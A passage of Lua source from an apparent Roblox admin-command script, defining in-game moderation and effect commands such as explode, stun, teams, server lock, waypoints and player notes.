7595 for _,Player in pairs(Players) do
7596 if Player.Character and Player.Character:FindFirstChild("Torso") then
7597 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7598 end
7599 end
7600 end};
7601
7602 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7603 local Players = STRING:Scan(Arguments[1], Speaker)
7604 for _,Player in pairs(Players) do
7605 if Player.Character and Player.Character:FindFirstChild("Torso") then
7606 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7607 if Get:IsA("Sparkles") then
7608 Get:Destroy()
7609 end
7610 end
7611 end
7612 end
7613 end};
7614
7615 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7616 local Players = STRING:Scan(Arguments[1], Speaker)
7617 for _,Player in pairs(Players) do
7618 if Player.Character and Player.Character:FindFirstChild("Torso") then
7619 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7620 if Get:IsA("Fire") then
7621 Get:Destroy()
7622 end
7623 end
7624 end
7625 end
7626 end};
7627
7628 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7629 local Players = STRING:Scan(Arguments[1], Speaker)
7630 for _,Player in pairs(Players) do
7631 if Player.Character and Player.Character:FindFirstChild("Torso") then
7632 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7633 if Get:IsA("Smoke") then
7634 Get:Destroy()
7635 end
7636 end
7637 end
7638 end
7639 end};
7640
7641 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7642 local Players = STRING:Scan(Arguments[1], Speaker)
7643 for _,Player in pairs(Players) do
7644 if Player.Character and Player.Character:FindFirstChild("Torso") then
7645 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7646 local Boom = Instance.new("Explosion", Workspace)
7647 Boom.Position = Player.Character.Torso.Position
7648 end
7649 end
7650 end};
7651
7652 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7653 local Players = STRING:Scan(Arguments[1], Speaker)
7654 for _,Player in pairs(Players) do
7655 if Player.Character and Player.Character:FindFirstChild("Torso") then
7656 coroutine.wrap(function() for i = 1,50 do
7657 local Boom = Instance.new("Explosion", Workspace)
7658 Boom.Position = Player.Character.Torso.Position
7659 wait()
7660 end end)()
7661 coroutine.wrap(function() for i = 1,5 do
7662 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7663 end end)()
7664 end
7665 end
7666 end};
7667
7668 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7669 local Players = STRING:Scan(Arguments[1], Speaker)
7670 for _,Player in pairs(Players) do
7671 if Player.Character and Player.Character:FindFirstChild("Torso") then
7672 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7673 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7674 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7675 end
7676 end
7677 end};
7678
7679 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7680 local Players = STRING:Scan(Arguments[1], Speaker)
7681 for _,Player in pairs(Players) do
7682 if Player.Character and Player.Character:FindFirstChild("Torso") then
7683 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7684 end
7685 end
7686 end};
7687
7688 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7689 local Players = STRING:Scan(Arguments[1], Speaker)
7690 for _,Player in pairs(Players) do
7691 if Player.Character then
7692 Player.Character.Parent = Server.Lighting
7693 end
7694 end
7695 end};
7696
7697 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7698 local Players = STRING:Scan(Arguments[1], Speaker)
7699 for _,Player in pairs(Players) do
7700 if Player.Character then
7701 Player.Character.Parent = Server.Workspace
7702 Player.Character:MakeJoints()
7703 end
7704 end
7705 end};
7706
7707 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7708 local Players = STRING:Scan(Arguments[1], Speaker)
7709 for _,Player in pairs(Players) do
7710 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7711 Player.Character.Humanoid.PlatformStand = true
7712 end
7713 end
7714 end};
7715
7716 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7717 local Players = STRING:Scan(Arguments[1], Speaker)
7718 for _,Player in pairs(Players) do
7719 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7720 Player.Character.Humanoid.PlatformStand = false
7721 end
7722 end
7723 end};
7724
7725 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7726 local Players = STRING:Scan(Arguments[1], Speaker)
7727 for _,Player in pairs(Players) do
7728 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7729 Player.Character.Humanoid.Jump = true
7730 end
7731 end
7732 end};
7733
7734 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7735 local Players = STRING:Scan(Arguments[1], Speaker)
7736 for _,Player in pairs(Players) do
7737 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7738 Player.Character.Humanoid.Sit = true
7739 end
7740 end
7741 end};
7742
7743 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7744 local Players = STRING:Scan(Arguments[1], Speaker)
7745 for _,Player in pairs(Players) do
7746 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7747 Player.Character.Humanoid.Sit = false
7748 end
7749 end
7750 end};
7751
7752 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7753 local Players = STRING:Scan(Arguments[1], Speaker)
7754 for _,Player in pairs(Players) do
7755 if Player.Character and Player.Character:FindFirstChild("Torso") then
7756 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7757 end
7758 end
7759 end};
7760
7761 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7762 local Players = STRING:Scan(Arguments[1], Speaker)
7763 for _,Player in pairs(Players) do
7764 if Player.Character and Player.Character:FindFirstChild("Torso") then
7765 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7766 end
7767 end
7768 end};
7769
7770 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7771 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7772 end};
7773
7774 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7775 local Color = "Blue"
7776 local String = Arguments[2]
7777 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7778 if #ChatSplit >= 2 then
7779 if string.lower(ChatSplit[1]) == "green" then
7780 Color = "Green"
7781 String = ChatSplit[2]
7782 elseif string.lower(ChatSplit[1]) == "red" then
7783 Color = "Red"
7784 String = ChatSplit[2]
7785 end
7786 end
7787 local Players = STRING:Scan(Arguments[1], Speaker)
7788 for _,Player in pairs(Players) do
7789 if Player.Character and Player.Character:FindFirstChild("Head") then
7790 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7791 end
7792 end
7793 end};
7794
7795 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7796 local Players = STRING:Scan(Arguments[1], Speaker)
7797 for _,Player in pairs(Players) do
7798 if Player.Character then
7799 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7800 end
7801 end
7802 end};
7803
7804 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7805 local Players = STRING:Scan(Arguments[1], Speaker)
7806 local ID = nil
7807 if tonumber(Arguments[2]) ~= nil then
7808 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7809 else
7810 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7811 for _,Face in pairs(FaceTable) do
7812 if string.lower(Arguments[2]) == string.lower(Face) then
7813 ID = FaceID
7814 break
7815 end
7816 end
7817 end
7818 end
7819 if ID then
7820 for _,Player in pairs(Players) do
7821 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7822 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7823 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7824 end
7825 end
7826 end
7827 end};
7828
7829 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7830 local Players = STRING:Scan(Arguments[1], Speaker)
7831 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7832 for _,Player in pairs(Players) do
7833 if Player.Character and Player.Character:FindFirstChild("Head") then
7834 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7835 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7836 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7837 end
7838 end
7839 end};
7840
7841 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7842 local Players = STRING:Scan(Arguments[1], Speaker)
7843 for _,Player in pairs(Players) do
7844 if Player.Character and Player.Character:FindFirstChild("Head") then
7845 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7846 end
7847 end
7848 end};
7849
7850 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7851 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7852 end, Http = true};
7853
7854 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7855 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7856 end, Http = true};
7857
7858 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7859 local Players = STRING:Scan(Arguments[1], Speaker)
7860 for _,Player in pairs(Players) do
7861 local ExistingData = Player:LoadInstance("Data")
7862 if ExistingData == nil then
7863 ExistingData = Instance.new("Configuration")
7864 end
7865 ExistingData.Name = "Player Data"
7866 local Key = Instance.new("Configuration", ExistingData)
7867 Key.Name = Arguments[2]
7868 Player:SaveInstance("Data", ExistingData)
7869 end
7870 end};
7871
7872 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7873 local Players = STRING:Scan(Arguments[1], Speaker)
7874 local Data = Arguments[2]
7875 for _,Player in pairs(Players) do
7876 local ExistingData = Player:LoadInstance("Data")
7877 if ExistingData ~= nil then
7878 if string.lower(Data) == "all" then
7879 ExistingData:ClearAllChildren()
7880 else
7881 for _,DataObj in pairs(ExistingData:GetChildren()) do
7882 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7883 DataObj:Destroy()
7884 end
7885 end
7886 end
7887 end
7888 Player:SaveInstance("Data", ExistingData)
7889 end
7890 end};
7891
7892 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7893 local Players = STRING:Scan(Arguments[1], Speaker)
7894 local DataSet = {}
7895 for _,Player in pairs(Players) do
7896 local ExistingData = Player:LoadInstance("Data")
7897 if ExistingData ~= nil then
7898 if #ExistingData:GetChildren() ~= 0 then
7899 for _,Data in pairs(ExistingData:GetChildren()) do
7900 table.insert(DataSet, Player.Name..": "..Data.Name)
7901 end
7902 else
7903 table.insert(DataSet, "Data does not exist for "..Player.Name)
7904 end
7905 else
7906 table.insert(DataSet, "Data does not exist for "..Player.Name)
7907 end
7908 end
7909 GUI:ListGui(Speaker, "Notes", DataSet)
7910 end};
7911
7912 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7913 local Players = STRING:Scan(Arguments[1], Speaker)
7914 for _,Player in pairs(Players) do
7915 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7916 Player.Character.Humanoid.WalkSpeed = 16
7917 end
7918 end
7919 end};
7920
7921 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7922 local Players = STRING:Scan(Arguments[1], Speaker)
7923 for _,Player in pairs(Players) do
7924 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7925 Player.Character.Humanoid.WalkSpeed = -16
7926 end
7927 end
7928 end};
7929
7930 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7931 local TeamColor = BrickColor.random()
7932 local TeamName = Arguments[1]
7933 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7934 if #TeamNameSplit >= 2 then
7935 local Color = TeamNameSplit[1]
7936 local NewTeamName = TeamNameSplit[2]
7937 if Color == "Medium stone grey" then
7938 TeamColor = BrickColor.new(Color)
7939 TeamName = NewTeamName
7940 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7941 TeamColor = BrickColor.new(Color)
7942 TeamName = NewTeamName
7943 elseif Colors[string.upper(Color)] then
7944 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7945 TeamName = NewTeamName
7946 end
7947 end
7948
7949 local NewTeam = Instance.new("Team", Server.Teams)
7950 NewTeam.TeamColor = TeamColor
7951 NewTeam.Name = TeamName
7952 end};
7953
7954 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7955 local Players = STRING:Scan(Arguments[1], Speaker)
7956 for _,Player in pairs(Players) do
7957 Player.Neutral = true
7958 end
7959 end};
7960
7961 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7962 local Players = STRING:Scan(Arguments[1], Speaker)
7963 if string.lower(Arguments[2]) == "none" then
7964 for _,Player in pairs(Players) do
7965 Player.Neutral = true
7966 end
7967 else
7968 for _,Obj in pairs(Server.Teams:GetChildren()) do
7969 if Obj:IsA("Team") then
7970 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7971 for _,Player in pairs(Players) do
7972 Player.Neutral = false
7973 Player.TeamColor = Obj.TeamColor
7974 end
7975 end
7976 end
7977 end
7978 end
7979 end};
7980
7981 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7982 for _,Obj in pairs(Server.Teams:GetChildren()) do
7983 if Obj:IsA("Team") then
7984 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7985 for _,Player in pairs(Server.Players:GetPlayers()) do
7986 if Player.TeamColor == Obj.TeamColor then
7987 Player.Neutral = true
7988 end
7989 end
7990 Obj:Destroy()
7991 end
7992 end
7993 end
7994 end};
7995
7996 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7997 for _,Player in pairs(Server.Players:GetPlayers()) do
7998 Player.Neutral = true
7999 end
8000 for _,Obj in pairs(Server.Teams:GetChildren()) do
8001 if Obj:IsA("Team") then
8002 Obj:Destroy()
8003 end
8004 end
8005 end};
8006
8007 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8008 for _,Player in pairs(Server.Players:GetPlayers()) do
8009 GUI:Countdown(Player, Arguments[1])
8010 end
8011 end};
8012
8013 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8014 local Players = STRING:Scan(Arguments[1], Speaker)
8015 for _,Player in pairs(Players) do
8016 if Player:FindFirstChild("Backpack") then
8017 CORE:ExecuteResource("ShowAd", Player.Backpack)
8018 end
8019 end
8020 end};
8021
8022 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8023 local Players = STRING:Scan(Arguments[1], Speaker)
8024 for _,Player in pairs(Players) do
8025 if Player.Character then
8026 for PosName,WP in pairs(Waypoints) do
8027 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8028 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8029 break
8030 end
8031 end
8032 end
8033 end
8034 end};
8035
8036 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8037 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8038 end};
8039
8040 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8041 local Num = 0
8042 for PosName,WP in pairs(Waypoints) do
8043 Num = Num + 1
8044 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8045 Waypoints[PosName] = nil
8046 end
8047 end
8048 end};
8049
8050 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8051 local WaypointHolder,WaypointRaw = {},{}
8052 for Name, WP in pairs(Waypoints) do
8053 local View = Name..": "..tostring(WP)
8054 table.insert(WaypointHolder, View)
8055 WaypointRaw[View] = WP
8056 end
8057 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8058 Clicked.Event:connect(function(Text)
8059 local Waypoint = WaypointRaw[Text]
8060 if Waypoint then
8061 if Speaker.Character then
8062 Speaker.Character:MoveTo(Waypoint)
8063 end
8064 end
8065 end)
8066 end};
8067
8068 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8069 local Players = STRING:Scan(Arguments[1], Speaker)
8070 local List = {}
8071 for _,Player in pairs(Players) do
8072 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8073 end
8074 GUI:ListGui(Speaker, "Listed Players", List)
8075 end};
8076
8077 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8078 if tonumber(Arguments[1]) then
8079 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8080 else
8081 local Players = STRING:Scan(Arguments[1], Speaker)
8082 for _,Player in pairs(Players) do
8083 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8084 end
8085 end
8086 end};
8087
8088 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8089 local Players = STRING:Scan(Arguments[1], Speaker)
8090 local Friends,OneFriend = {}, false
8091 for _,Player in pairs(Players) do
8092 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8093 --[[if Player:IsBestFriendsWith(User.UserId) then
8094 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8095 OneFriend = true
8096 ]]
8097 if Player:IsFriendsWith(User.UserId) then
8098 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8099 OneFriend = true
8100 end
8101 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8102 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8103 end
8104 end end
8105 end
8106 GUI:ListGui(Speaker, "Friend List", Friends)
8107 end};
8108
8109 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8110 Settings.ServerLocked = true
8111 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8112 end};
8113
8114 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8115 Settings.ServerLocked = false
8116 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8117 end};
8118
8119 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8120 local OldAge = Settings.MinimumAge
8121 local Age = tostring(Arguments[1])
8122 if Age then
8123 Settings.MinimumAge = Age
8124 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8125 end
8126 end};
8127
8128 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8129 if Settings.VIPAdminID <= 1 then
8130 MARKET:PromptPurchase(Speaker, VIPAdminID)
8131 else
8132 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8133 end
8134 end};
8135
8136 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8137 if Settings.VIPMemberID <= 1 then
8138 MARKET:PromptPurchase(Speaker, VIPMemberID)
8139 else
8140 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8141 end
8142 end};
8143
8144 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8145 if tonumber(Arguments[2]) then
8146 local Players = STRING:Scan(Arguments[1], Speaker)
8147 local Size = tonumber(Arguments[2])+25
8148 for _,Player in pairs(Players) do
8149 if Player.Character then
8150 if Player.Character:FindFirstChild("Head") then
8151 if Player.Character.Head:FindFirstChild("Mesh") then
8152 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8153 end
8154 end
8155 end
8156 end
8157 end
8158 end};
8159
8160 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8161 local Players = STRING:Scan(Arguments[1], Speaker)
8162 for _,Player in pairs(Players) do
8163 if Player.Character and Player.Character:FindFirstChild("Torso") then
8164 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8165 Player.Character.Parent = nil
8166 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8167 end
8168 end
8169 end};
8170
8171 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8172 GUI:SettingsGui(Speaker)
8173 end};
8174
8175 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8176 if tonumber(Arguments[2]) then
8177 local Players = STRING:Scan(Arguments[1], Speaker)
8178 local List = {}
8179 for _,Player in pairs(Players) do
8180 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8181 table.insert(List, Player.Name)
8182 end
8183 end
8184 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8185 end
8186 end};
8187
8188 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8189 local Players = STRING:Scan(Arguments[1], Speaker)
8190 for _,Player in pairs(Players) do
8191 if Player.Character and Player.Character:FindFirstChild("Head") then
8192 local Char = Player.Character
8193 Char:BreakJoints()
8194 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8195 Obj.Anchored = true
8196 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8197 local Decal = Instance.new("Decal", Obj)
8198 Decal.Texture = "rbxassetid://178913323"
8199 Decal.Face = Face
8200 end
8201 end)
8202 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8203 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8204 Sound1:Play() Sound2:Play()
8205 coroutine.wrap(function()
8206 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8207 repeat wait()
8208 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8209 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8210 Obj.Transparency = math.random(0,30)/100
8211 Obj.Reflectance = math.random(0,50)/100
8212 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8213 end)
8214 until Char ~= Player.Character or Char.Parent == nil
8215 end)()
8216 end
8217 end
8218 end, Hidden = true};
8219
8220 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8221 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8222 end, Http = true};
8223
8224 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8225 local Players = STRING:Scan(Arguments[1], Speaker)
8226 for _,Player in pairs(Players) do
8227 if Player.Character then
8228 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8229 Obj.Material = "Neon"
8230 end)
8231 end
8232 end
8233 end};
8234
8235 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8236 local Players = STRING:Scan(Arguments[1], Speaker)
8237 for _,Player in pairs(Players) do
8238 if Player.Character then
8239 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8240 Obj.Material = "Plastic"
8241 end)
8242 end
8243 end
8244 end};
8245
8246 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8247 local Players = STRING:Scan(Arguments[1], Speaker)
8248 for _,Player in pairs(Players) do
8249 if Player.Character then
8250 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8251 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8252 end)
8253 end
8254 end
8255 end, Hidden = true};
8256
8257 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8258 local Players = STRING:Scan(Arguments[1], Speaker)
8259 for _,Player in pairs(Players) do
8260 if Player.Character and Player.Character:FindFirstChild("Torso") then
8261 local Pos = Player.Character.Torso.Position
8262 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
